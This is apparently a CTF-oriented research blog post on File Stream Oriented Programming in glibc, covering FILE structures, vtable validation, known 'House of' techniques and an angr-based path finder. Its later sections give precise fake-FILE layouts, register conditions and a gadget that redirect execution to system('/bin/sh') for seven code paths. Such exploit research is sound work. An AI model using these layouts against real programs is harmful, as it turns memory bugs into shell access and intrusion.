Skip to main content
  1. Posts/

Deep dive into FSOP

·16 mins
Research FSOP angr
Table of Contents

Introduction
#

File Stream Oriented Programming (FSOP) is a binary exploitation technique that uses GLIBC file stream structures to gain code execution from memory corruption. It has become very popular since the pointers __malloc_hook, __free_hook and all the others were removed from GLIBC in version 2.34.

I encountered FSOP in a couple of CTF challenges so I decided to really dig in and understand the different ways to exploit it. In the mean time, I created a tool to better find these exploit paths to be ready when the next patches come out. This article also acts as a reminder and a cheatsheet for fast exploitation during future CTF events.

The basics
#

FSOP leverages the inherent complexity of streams in GLIBC to achieve arbitrary code execution. The most common targets are stdin, stdout and stderr since they are present by default and are used by most programs. However, it’s also possible to use these techniques on files or sockets, as long as they are wrapped in a stream (using fopen instead of open, for example).

Important structures
#

An open stream is handled with a FILE object, which is in reality an __IO_FILE_plus structure.

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

It’s basically an _IO_FILE structure with a vtable at the end.

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

All the opened streams are joined in a linked list via the _chain field, which allows GLIBC to easily close them all on exit.

The _wide_data field points to a similar structure used to handle special encodings.

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

These structures are the primary target for all the FSOP techniques. Conveniently, pwntools has a module that contains the _IO_FILE_plus structure. GDB can also be used to determine the precise offsets for a specific GLIBC version.

gef➤  ptype /o struct _IO_FILE
/* offset      |    size */  type = struct _IO_FILE {
/*      0      |       4 */    int _flags;
/* XXX  4-byte hole      */
/*      8      |       8 */    char *_IO_read_ptr;
/*     16      |       8 */    char *_IO_read_end;
/*     24      |       8 */    char *_IO_read_base;
/*     32      |       8 */    char *_IO_write_base;
/*     40      |       8 */    char *_IO_write_ptr;
/*     48      |       8 */    char *_IO_write_end;
/*     56      |       8 */    char *_IO_buf_base;
/*     64      |       8 */    char *_IO_buf_end;
/*     72      |       8 */    char *_IO_save_base;
/*     80      |       8 */    char *_IO_backup_base;
/*     88      |       8 */    char *_IO_save_end;
/*     96      |       8 */    struct _IO_marker *_markers;
/*    104      |       8 */    struct _IO_FILE *_chain;
/*    112      |       4 */    int _fileno;
/*    116      |       4 */    int _flags2;
/*    120      |       8 */    __off_t _old_offset;
/*    128      |       2 */    unsigned short _cur_column;
/*    130      |       1 */    signed char _vtable_offset;
/*    131      |       1 */    char _shortbuf[1];
/* XXX  4-byte hole      */
/*    136      |       8 */    _IO_lock_t *_lock;
/*    144      |       8 */    __off64_t _offset;
/*    152      |       8 */    struct _IO_codecvt *_codecvt;
/*    160      |       8 */    struct _IO_wide_data *_wide_data;
/*    168      |       8 */    struct _IO_FILE *_freeres_list;
/*    176      |       8 */    void *_freeres_buf;
/*    184      |       8 */    size_t __pad5;
/*    192      |       4 */    int _mode;
/*    196      |      20 */    char _unused2[20];

                               /* total size (bytes):  216 */
                             }

Jump tables
#

FSOP can be used to read and write arbitrary memory through the use of the _IO_read_base and _IO_write_base pointers. However, it can also lead direcly to code execution. The vtable field of __IO_FILE_plus structure points to a set of function pointers. These functions are GLIBC internal functions called by higher level functions like puts, fgets or printf. In the case of standard streams like stdout, the vtable points to the table __IO_file_jumps.

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)

For instance, a call to printf eventually leads to a call to _IO_file_xsputn. If we can control where the vtable points to, we can control which function gets called internally inside a printf. However, before dereferencing the vtable, GLIBC checks if the address resides inside the __libc_IO_vtables section.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

Therefore, we can’t simply redirect the vtable to anywhere we want. This greatly complicates exploitation, but it doesn’t prevent it! Inside the __libc_IO_vtables section, there are other jump tables that are meant for other types of streams, like the _IO_str_jumps table or the _IO_wfile_jumps table. These tables also contain a bunch of function pointers. Therefore, we can modify the vtable pointer to internally call any of these functions (instead of _IO_file_xsputn, for example) while still passing the IO_validate_vtable check! Some of the functions in these tables have specific code paths which can lead to arbitrary code execution. These are the ones we will be exploring throughout this post.

It’s also worth noting that the _IO_vtable_check function will actually accept arbitrary vtable pointers if the IO_accept_foreign_vtables variable is set to the address of the function itself.

void attribute_hidden
_IO_vtable_check (void)
{
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
  if (flag == &_IO_vtable_check)
    return;

<...>

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

Known exploitation techniques
#

A number of resources and examples on practical FSOP exploitation can be found online. Here is an overview of different techniques that leverage FSOP from a heap exploitation perspective.

Name Description
House of Pig Craft a fake chain of FILE structures in the heap to overwrite multiple arbitrary values on exit. Use this primitive to overwrite __free_hook. (not possible after 2.34)
House of Kiwi Use a heap overflow to corrupt the top chunk and trigger an assertion on the next malloc. The __malloc_assert function contains a call to fflush(stderr). Modify the vtable of stderr so that _IO_file_sync points to the setcontext+61 gadget, which performs a stack pivot relative to rdx. Useful when a sandbox prevents calls to system. (might have misunderstood this one, because the jump tables are usually mapped as read-only)
House of Emma Bypass PTR_DEMANGLE by overwriting the __pointer_chk_guard value, then call one of the _IO_cookie_file functions, like _IO_cookie_close, with a custom cookie_io_functions_t function table to execute arbitrary code.
House of Apple 1 Similarly to House of Pig, craft a fake chain of FILE structures to overwrite multiple arbitrary values on exit. Use this primitive to overwrite IO_accept_foreign_vtables and call an arbitrary function, or overwrite __pointer_chk_guard like in House of Emma.
House of Apple 2 Abuse the fact that there is no check on the validity of the _wide_data vtable. Craft a fake jump table and put a one_gadget at the right offset. Trigger the payload by returning from main, calling exit or force a call to __malloc_assert.
House of Apple 3 By corrupting the vtable, redirect the execution to a method that leads to either the __libio_codecvt_in, __libio_codecvt_out or __libio_codecvt_length function. Setup a precisely crafted fake _IO_codecvt structure to execute an arbitrary function.

Angry-FSROP
#

The previously mentionned techniques can be very powerful, but they all require a complex setup. Moreover, manually inspecting the GLIBC codebase can be very tedious and it’s always possible to miss an interesting code path.

Fortunately, KyleBot has done an amazing job of rigorously finding every exploitable code path using angr, as described in this blog post. Using his work, it’s much easier to understand each path, because each frame is recorded and can be examined. Not only can you print out the address of every basic bloc traversed, but you can even print out the condition that led to it!

import pickle
with open("./outputs/_IO_wfile_overflow.pickle", "rb") as f:
    state = pickle.load(f)[0]
conditions = list(state.history.jump_guards)
for i, addr in enumerate(state.history.bbl_addrs):
    if not conditions[i].is_true():
        print(f"Address: {hex(addr)}")
        print(conditions[i])

Printing out the conditions can be very helpful to actually exploit the code path. However, I found that most memory references were pretty cryptic.

Address: 0x86410
<Bool (content_0x0[63:56] & 8) == 0>
Address: 0x86428
<Bool (content_0x0[55:48] & 8) != 0>
Address: 0x864ac
<Bool orig_rsi[31:0] == 0xffffffff>
Address: 0x86577
<Bool Reverse(content_0xc0[63:32]) >s 0x0>
Address: 0x86220
<Bool 0x3010102 + 0xffffffffffffffff * (0x464c457f .. mem_fffffffffffffffc_4891_32{UNINITIALIZED}) >> 0x2 != 0x0>
Address: 0x86255
<Bool content_0x30 != content_0x28>
Address: 0x8631e
<Bool (content_0x28[7:0] .. content_0x28[15:8] .. content_0x28[23:16] .. content_0x28[31:24] .. content_0x28[39:32] .. content_0x28[47:40] .. content_0x28[55:48] .. content_0x28[63:56]) - (content_0x20[7:0] .. content_0x20[15:8] .. content_0x20[23:16] .. content_0x20[31:24] .. content_0x20[39:32] .. content_0x20[47:40] .. content_0x20[55:48] .. content_0x20[63:56]) > 0xf>
Address: 0x86c80
<Bool mem_ffffffffc0000000_4901_64{UNINITIALIZED} == 0x0>

That’s partly because of the meaningless names of the symbolic variables and partly because of the way angr handles memory dereferencing. Most of these paths are not documented anywhere and their exploitation is left as an exercise to the reader. Therefore, I decided to try and improve the script to cleanly print out the conditions as a way to better learn angr.

The first thing I did was to created symbolic variables with the actual names of the fields inside the _IO_FILE_plus structure. I did the same thing for the _wide_data and _codecvt fields so that the conditions relative to these structure print nicely. I also set the right endianness to remove the Reverse occurences.

However, it wasn’t enough. I still had these weird variables like mem_ffffffffc0000000_4901_64{UNINITIALIZED} which I couldn’t make sense of. I had to learn more about how angr manages memory.

Concretization strategies
#

Concretization strategies influence how the engine acts when dereferencing a variable for reading or writing. You can manually choose which strategies are used by setting up the state.memory.read_strategies and state.memory.write_strategies variables. The documentation on this topic is not very detailed, but the builtin strategies explain a lot by themselves. The default strategies are perfectly fine for symbolic execution, but they lose the meaning behind the memory access. For instance, if I dereference a variable called foo, it seems reasonable to call the resulting address [foo], no matter what the actual address is.

Therefore, I created a new concretization strategy that automatically creates a symbolic variable at every concretization and adds it to the current state. Using this strategy, the conditions already look a lot cleaner!

Address: 0x86410
<Bool (_flags[7:0] & 8) == 0>
Address: 0x86428
<Bool (_flags[15:8] & 8) == 0>
Address: 0x86430
<Bool _wide_data->_IO_write_base == 0x0>
Address: 0x83bf0
<Bool _wide_data->_IO_buf_base == 0x0>
Address: 0x83c08
<Bool (_flags[7:0] & 2) == 0>

Armed with this new tool, I decided to examine every code path found and propose a FILE structure layout to exploit them. This way, I can instantly choose a suitable path when needed during a CTF.

Interesting code paths
#

Here is a summary of the exploitable code paths found by the script along with the vulnerable functions.

Code path Vulnerable functions
_IO_wdoallocbuf+43 _IO_wfile_overflow, _IO_wfile_underflow_mmap, _IO_wfile_underflow
_obstack_newchunk+83 _IO_obstack_overflow, _IO_obstack_xsputn
_obstack_newchunk+451 _IO_obstack_overflow, _IO_obstack_xsputn
_IO_switch_to_wget_mode+37 _IO_wdefault_xsgetn, _IO_wfile_seekoff
__libio_codecvt_in+146 _IO_wfile_underflow_mmap, _IO_wfile_underflow
__libio_codecvt_out+147 _IO_file_finish, _IO_file_overflow, _IO_file_setbuf_mmap, _IO_wfile_overflow, _IO_file_sync, _IO_wfile_sync
__libio_codecvt_length+207 _IO_wfile_seekoff

Some of these code paths were already known, so I tried to link the relevant technique when applicable. When creating the layouts, I tried to reduce the scattering of values to minimize the number of writes needed.

All the proposed layouts are tested against a vulnerable application in a single script. Most of the examples attack the stderr stream to prevent interference with the normal IO. The vtables are setup to hijack a call to _IO_file_sync, which is called internally by fflush.

The suggested configurations might not work for every function of every stream. In a general manner, if you create a new configuration, you should try to avoid tampering with some fields.

  • _lock should be avoided because some functions will try to lock the stream before using it
  • _mode should stay negative (for byte oriented streams) because some functions will abort if it’s not
  • _IO_write_* and _IO_read_* might be overwritten by read and write functions like fgets and fprintf

_IO_wdoallocbuf+43
#

This is the same path used in House of Apple 2.

Function calls:

graph LR; A(_IO_wfile_overflow)-->B(_IO_wdoallocbuf)-->C(_IO_WDOALLOCATE);

Conditions:

_flags[7:0] & 8 == 0
_flags[7:0] & 2 == 0
_flags[15:8] & 8 == 0
_wide_data->_IO_write_base == 0x0
_wide_data->_IO_buf_base == 0x0

Useful registers at the call:

  • rax: _wide_data->_wide_vtable
  • rbx: fp
  • rdx: _wide_data
  • rdi: fp
  • r14: _codecvt
  • rbp: fp
  • rip: [_wide_data->_wide_vtable + 0x68]

Suggested configuration:

Offset Field Value Comment
0 _flags " sh\0"
8 _IO_read_ptr 0 _wide_data->_IO_write_base
32 _IO_write_base 0 _wide_data->_IO_buf_base
160 _wide_data fp - 16
200 _unused2[4] system [_wide_data->_wide_vtable + 0x68]
208 _unused2[12] _markers _wide_data->_wide_vtable

_obstack_newchunk+83
#

This path uses a pointer situated right after the end of the _IO_FILE_plus structure, which I called next_FILE. Inside GLIBC memory, the structure of stdout is situated right after stderr, but there is a pointer to stdout right after the end of stderr. Therefore, the best way to exploit this path is to corrupt the vtable of stderr while setting up the required values inside stdout.

Function calls:

graph LR; A(_IO_obstack_overflow)-->B(_obstack_newchunk)-->C(CALL_CHUNKFUN);

Conditions:

orig_rsi[31:0] != 0xffffffff
[next_FILE->_IO_read_base] + 0x1 > [next_FILE->_IO_write_base]
[next_FILE->_IO_backup_base][7:0] & 1 != 0

Useful registers at the call:

  • rax: [next_FILE->_IO_buf_base]
  • rbx: next_FILE
  • rsi: [next_FILE]
  • rdi: [next_FILE->_IO_save_base]
  • r14: [next_FILE + 0x8]
  • rbp: [next_FILE + 0x18] + 0xffffffffffffffff * [next_FILE + 0x10]
  • rip: [next_FILE->_IO_buf_base]

Suggested configuration:

Offset Field Value Comment
56 _IO_buf_base system
64 _IO_buf_end “/bin/sh\0”
72 _IO_save_base _IO_buf_end
80 _IO_backup_base 1 != 0

This configuration works well with output functions like fwrite, but not with fflush because some of the values will be overwritten.

_obstack_newchunk+451
#

This path is very similar to the previous one, but has slightly different conditions.

Function calls:

graph LR; A(_IO_obstack_overflow)-->B(_obstack_newchunk)-->C(CALL_CHUNKFUN);

Conditions:

orig_rsi[31:0] != 0xffffffff
[next_FILE->_IO_read_base] + 0x1 > [next_FILE->_IO_write_base]
[next_FILE->_IO_backup_base][7:0] & 1 == 0

Useful registers at the call:

  • rax: [next_FILE->_IO_buf_base]
  • rbx: next_FILE
  • rsi: 0x1
  • rdi: [next_FILE]
  • r14: [next_FILE + 0x8]
  • rbp: [next_FILE + 0x18] + 0xffffffffffffffff * [next_FILE + 0x10]
  • rip: [next_FILE->_IO_buf_base]

Suggested configuration:

Offset Field Value Comment
0 _flags _IO_read_ptr
8 _IO_read_ptr “/bin/sh\0”
56 _IO_buf_base system
80 _IO_backup_base 0

_IO_switch_to_wget_mode+37
#

Function calls:

graph LR; A(_IO_wfile_seekoff)-->B(_IO_switch_to_wget_mode)-->C(_IO_WOVERFLOW);

Conditions:

orig_rcx[31:0] != 0x0
_wide_data->_IO_read_base != _wide_data->_IO_read_end
_wide_data->_IO_write_base < _wide_data->_IO_write_ptr

Useful registers at the call:

  • rax: _wide_data->_wide_vtable
  • rbx: fp
  • rcx: _wide_data->_IO_write_base
  • rdx: _wide_data->_IO_write_ptr
  • rdi: fp
  • r15: fp
  • rip: [_wide_data->_wide_vtable + 0x18]

Suggested configuration:

Offset Field Value Comment
0 _flags “/bin/sh\0”
8 _IO_read_ptr 0
160 _wide_data fp - 16
200 _unused2[4] system [_wide_data->_wide_vtable + 0x18]
208 _unused2[12] _freeres_buf _wide_data->_wide_vtable

__libio_codecvt_in+146
#

This is one of the paths described in House of Apple 3.

This path is a little awkward to exploit because rdi has to point to a NULL value. However, nobodyisnobody found a great way to bypass this obstacle by using a useful little gadget.

add rdi, 0x10
jmp rcx

If we control rcx, we can set it to the address of system and place the /bin/sh string 16 bytes after the value pointed by rdi. In this case, we do have direct control over rcx.

Function calls:

graph LR; A(_IO_wfile_underflow)-->B(__libio_codecvt_in)-->C(__cd_in.step->__fct);

Conditions:

_flags[7:0] & 4 == 0
_flags[7:0] & 16 == 0
_IO_read_ptr < _IO_read_end
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
[_codecvt->__cd_in[63:0]] == 0x0

Useful registers at the call:

  • rbx: _codecvt
  • rcx: _IO_read_end
  • rbp: [_codecvt->__cd_in[63:0] + 0x28]
  • rsi: _codecvt + 0x8
  • rdi: _codecvt->__cd_in[63:0]
  • r13: _codecvt->__cd_in[63:0]
  • r15: _IO_read_end
  • rip: [_codecvt->__cd_in[63:0] + 0x28]

Suggested configuration:

Offset Field Value Comment
0 _flags 0
8 _IO_read_ptr 0 < _IO_read_end
16 _IO_read_end system
64 _IO_buf_end _IO_save_base _codecvt->__cd_in
72 _IO_save_base 0 [_codecvt->__cd_in[63:0]]
88 _IO_save_end “/bin/sh\0” rdi after gadget
112 _fileno gadget [_codecvt->__cd_in[63:0] + 0x28]
152 _codecvt _IO_buf_end

__libio_codecvt_out+147
#

Also one of the paths described in House of Apple 3.

Once again, rdi has to point to a NULL value. However, we can still use the same gadget, even though the value of rcx requires a few calculations.

This path doesn’t work with output functions like fprintf or fwrite if the stream is byte-oriented because the _mode field will be checked and the function will return if it’s greater than 0. However, functions like fflush can still be hijacked. Check out the fwide documentation for more details.

Function calls:

graph LR; A(_IO_wfile_sync)-->B(_IO_wdo_write)-->C(__libio_codecvt_out)-->D(__cd_out.step->__fct);

Conditions:

_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
_mode >s 0x0
_wide_data->_IO_write_ptr + 0xffffffffffffffff * _wide_data->_IO_write_base >> 0x2 != 0x0
_IO_write_end != _IO_write_ptr
_IO_write_ptr - _IO_write_base > 0xf
[_codecvt->__cd_out[63:0]] == 0x0

Useful registers at the call:

  • rbx: _codecvt
  • rcx: _wide_data->_IO_write_base + (_wide_data->_IO_write_ptr + 0xffffffffffffffff * _wide_data->_IO_write_base » 0x2[61:0] .. 0)
  • rbp: [_codecvt->__cd_out[63:0] + 0x28]
  • rsi: _codecvt + 0x40
  • rdi: _codecvt->__cd_out[63:0]
  • r13: _codecvt->__cd_out[63:0]
  • rip: [_codecvt->__cd_out[63:0] + 0x28]

Suggested configuration:

Offset Field Value Comment
0 _flags 0
120 _old_offset 0 [_codecvt->__cd_out[63:0]]
136 _lock “/bin/sh\0” rdi after gadget
144 _offset gadget [_codecvt->__cd_out[63:0] + 0x28]
152 _codecvt _cur_column
160 _wide_data _offset
168 _freeres_list 0x100 _wide_data->_IO_write_base
176 _freeres_buf system + 1 _wide_data->_IO_write_ptr
184 __pad5 _fileno _codecvt->__cd_out
192 _mode 1

__libio_codecvt_length+207
#

Also one of the paths described in House of Apple 3.

Function calls:

graph LR; A(_IO_wfile_sync)-->B(__libio_codecvt_length)-->C(__cd_in.step->__fct);

Conditions:

_wide_data->_IO_write_ptr <= _wide_data->_IO_write_base
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
[_codecvt->__cd_in[63:0] + 0x58][31:0] == 0x0
[_codecvt->__cd_in[63:0] + 0x48][31:0] == [_codecvt->__cd_in[63:0] + 0x4c][31:0]
[_codecvt->__cd_in[63:0] + 0x4c][31:0] <=s 0x0
(0xf + (_wide_data->_IO_read_ptr + 0xffffffffffffffff * _wide_data->_IO_read_base >> 0x2[61:0] .. 0)[15:4] .. 0) & 0xfff == 0x0
[_codecvt->__cd_in[63:0]] == 0x0

Useful registers at the call:

  • rcx: _IO_read_end
  • rbx: [_codecvt->__cd_in[63:0] + 0x28]
  • rsi: [_codecvt->__cd_in[63:0] + 0x8]
  • rdi: [_codecvt->__cd_in[63:0]]
  • r12: _IO_read_base
  • r13: _codecvt + 0x8
  • r14: _IO_read_end
  • r15: _codecvt->__cd_in[63:0]
  • rip: [_codecvt->__cd_in[63:0] + 0x28]

Suggested configuration:

Offset Field Value Comment
16 _IO_read_end system rcx
40 _IO_write_ptr 0 [_codecvt->__cd_in[63:0]]
56 _IO_buf_base “/bin/sh\0” rdi after gadget
80 _IO_backup_base gadget [_codecvt->__cd_in[63:0] + 0x28]
96 _markers 0xdeadbeef _wide_data->_IO_read_end
104 _chain 0 _wide_data->_IO_read_base
112 _fileno 0xffffffffffffffff [_codecvt->__cd_in[63:0] + 0x48], _wide_data->_IO_write_base
128 _cur_column 0 [_codecvt->__cd_in[63:0] + 0x58]
144 _offset _IO_write_ptr _codecvt->__cd_in
152 _codecvt _offset
160 _wide_data _IO_save_end